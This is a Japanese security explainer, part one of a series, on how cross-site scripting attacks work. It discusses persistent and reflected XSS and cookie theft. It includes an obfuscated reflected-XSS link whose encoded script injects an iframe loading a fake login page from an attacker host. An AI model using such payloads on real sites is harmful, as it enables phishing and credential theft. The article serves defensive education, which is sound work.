情報詐取の常とう手段

クロスサイトスクリプティング攻撃とは　前編――その目的と仕組み

XSS攻撃が成立する仕組みと理由、そして自社のWebアプリケーションからこの脆弱性をなくす方法について解説する。

公開 2010年01月12日 07時30分

更新 2012年09月04日 17時31分

著者

Michael Cobb

[TechTarget]

印刷する Googleで優先するソースとして追加

　Webはクロスサイトスクリプティング（XSS）の脆弱性をなくすことができずにいる。XSSは、攻撃者が悪質なクライアントサイドコードをWebページに仕込んでセキュリティを破るもので、1990年代ごろから浮上し、Google、Yahoo!、Facebookといった大手Webサイトのほとんどは、いずれもXSS問題に見舞われてきた。XSSの脆弱性を突いた攻撃を仕掛ければ、情報を盗んだり、ユーザーのセッションを乗っ取ったり、悪質コードを実行したり、あるいはフィッシング詐欺の手口に利用することも可能だ。

　Web 2.0が最先端のXSS攻撃を生み出したとの見方もあるが、実際には、こうした攻撃は古い手口を焼き直しただけのものがほとんどだ。ただし確かなのは、Ajax技術によって様相が変わり、攻撃者が一層見えにくい形でXSSの脆弱性を悪用できるようになったことだ。Ajaxアプリケーションは一般的に極めて複雑で、Webブラウザとサーバ間のやりとりが大幅に増え、別のサイトのコンテンツをページに取り込むことさえある。この状況では、ユーザーとサービスの間でやりとりされる内容にさまざまな可能性が生じて検証が難しくなり、以前からあるXSSの脆弱性などが、知らないうちにアプリケーションに紛れ込むすきができる。

　サイトがXSS攻撃の被害に遭い続けているのは、大部分が双方向性を求められ、ユーザーのデータの送受信を許しているからだ。これによって攻撃者もまたアプリケーションのプロセスに直接介入できるようになり、正規のアプリケーションリクエストやコマンドに見せかけたデータを、通常のリクエストの手段であるスクリプト、URL、フォームデータなどを通じて受け渡すことが可能になる。アプリケーション層におけるこうした通信は、出来の悪いアプリケーションを利用すれば、従来のような周辺的なセキュリティ対策をかわすことができてしまう。

　2008年の「WhiteHat Security Statistics Report」によると、全Webサイトの90％に少なくとも1件の脆弱性があり、本稿では、XSS攻撃が成立する仕組みと理由、そして自社のWebアプリケーションからこの脆弱性をなくす方法について解説する。

あらためて、XSS攻撃とは？

　XSS攻撃は、SQLインジェクションのような一般的なアプリケーションレイヤー攻撃とは異なり、アプリケーションやサーバではなくアプリケーションのユーザーを攻撃する。攻撃は、Webアプリケーションの出力データにコード（大抵はJavaScriptのようなクライアントサイドスクリプト）を仕込むことで成立する。ほとんどのサイトには、XSSに対して脆弱な検索枠、フィードバックフォーム、cookie、フォーラムなど、コードを仕込める入り口がいくらでもある。

　XSS攻撃の狙いは、大抵がcookieデータの収集だ。cookieはセッションID、ユーザーのお気に入り、ログイン情報などを保存する目的で不適切に使われることがよくあるからだ。クライアントサイドスクリプトはサーバサイドの情報に直接影響を及ぼすことはできないが、サイトのセキュリティをかわすことはできる。よく使われる手口の「Document Object Modelマニピュレーション」では、フォームの値を書き換えたりフォームの動作を入れ替えて、提出されたデータを攻撃者のサイトに送信してしまう。

　では、XSS攻撃がどれだけ簡単なのかを見てみよう。「XYZフットボールクラブ」の掲示板では、メンバーがチームとチームの成績についてコメントを投稿できる。コメントはオンラインデータベースに保存されてほかのメンバーが見られる仕組みになっており、認証も暗号化もされていない。悪意を持ったメンバーは単純に、<script>タグに囲まれたスクリプトをコメントに仕込んで投稿するだけで済む。<script>タグに囲まれたテキストは普通は表示されないので、ほかのメンバーはスクリプトが実行されたことさえ気付かないか、あるいはコメントがスクリプトを実行するのをただ見守ることしかできないかもしれない。そして、スクリプトは堂々とメンバーのcookie情報をリクエストして、それを攻撃者に引き渡すことができる。この種のXSS攻撃は不正スクリプトが何度も実行されるので、持続型XSSと呼ばれている。

　XSS攻撃は、たとえサイトをSSL接続で閲覧した場合でも成立する。スクリプトは「保護された」サイトのコンテキストで実行され、ブラウザにはWebアプリケーションから出力される正規コンテンツと悪質コンテンツとの区別がつかないためだ。さらに、サイトにコメントページがなければ攻撃者がコードを仕込めないとは限らない。被害者をだましてフィッシング詐欺メールのURLをクリックさせ、表示されたページにコードを仕込めば、攻撃者はそのページのコンテンツにフルアクセスできてしまう。これが非持続型XSSだ。この種の攻撃ではURLエンコーディングを使ってリンクを偽装し、ユーザーがクリックする確率を高めていることも多い。

　次の例では、セキュアなHTTPSのURLを使った信頼できるサイトへのリンクが表示されている。

https://www.example.com/script/LoginServlet?function=”><script>document.write(String.fromCharCode(60,105,102,114,97,109,

101,32,115,114,99,61,104,

116,116,112,58,47,47,

119,119,119,46,97,98,97,

100,98,97,110,107,

46,99,111,109,47,108,

111,103,105,110,32,112,104,112,62))</script>

　ユーザーの目には「www.example.com」というSSL接続のリンクが見える。リンクというのは末尾に一見無意味な長い文字の羅列が付いていることも多いが、この場合は十分正規のリンクに見える。そこでユーザーはこのリンクをクリックする。しかし、<script>タグに囲まれたコードはブラウザに読み込まれると、以下のように翻訳される。

　攻撃コードは本物の「example」サイトのコンテキストで、IFRAME（Webサイト上でHTML文書内部に別のHTML文書を組み込んだもの）を実行する。攻撃者の「login.php」ページはexample.comのログインページそっくりに作り込まれ、だまされたユーザーはログイン用のユーザー名とパスワードを入力して、IFRAMEのソースである不正銀行のサーバに送ってしまう。この間、ユーザーが本物のexample.comのWebサイトを離れることはない。これは、銀行のWebサイト上で2009年に実際にあった攻撃だ。

　XSSの脆弱性の根本的問題と原因は基本的に、動的なWebページの多くがユーザーの入力した内容を検証も暗号化もせずに表示してしまうことにある。ユーザーが入力した内容をチェックせず、処理方法も公開される方法もコントロールしなければ、XSS攻撃の手に落ちる可能性がある。

　次回はこのようなXSS攻撃を防ぐ方法を紹介する。

本稿筆者のマイケル・コッブ氏は、データセキュリティ・分析関連のトレーニングやサポートを提供するITコンサルティング会社Cobweb Applicationsの創業者、マネージングディレクター。CISSP-ISSAP（公認情報システムセキュリティプロフェッショナル―情報システムセキュリティアーキテクチャプロフェッショナル）の資格を持つ。共著書に「IIS Security」があり、大手IT出版物に多数の技術記事を寄稿している。

印刷する

この記事の著者

Michael Cobb

クロスサイトスクリプティング攻撃とは　前編――その目的と仕組み

あらためて、XSS攻撃とは？

この記事の著者

関連記事

新着ホワイトペーパー PR

瞬時にM365が乗っ取られる――全社員に周知すべき“新フィッシング”の教訓

クロスサイトスクリプティング攻撃とは 前編――その目的と仕組み

あらためて、XSS攻撃とは？

この記事の著者

関連記事

Webサイト防御のためにできること

古くて新しいフォールトインジェクション攻撃

Webアプリの入力検証不備──4つの実例とその対策

脅威モデリングでWebアプリのセキュリティを強化する

新着ホワイトペーパー PR

瞬時にM365が乗っ取られる――全社員に周知すべき“新フィッシング”の教訓

クロスサイトスクリプティング攻撃とは　前編――その目的と仕組み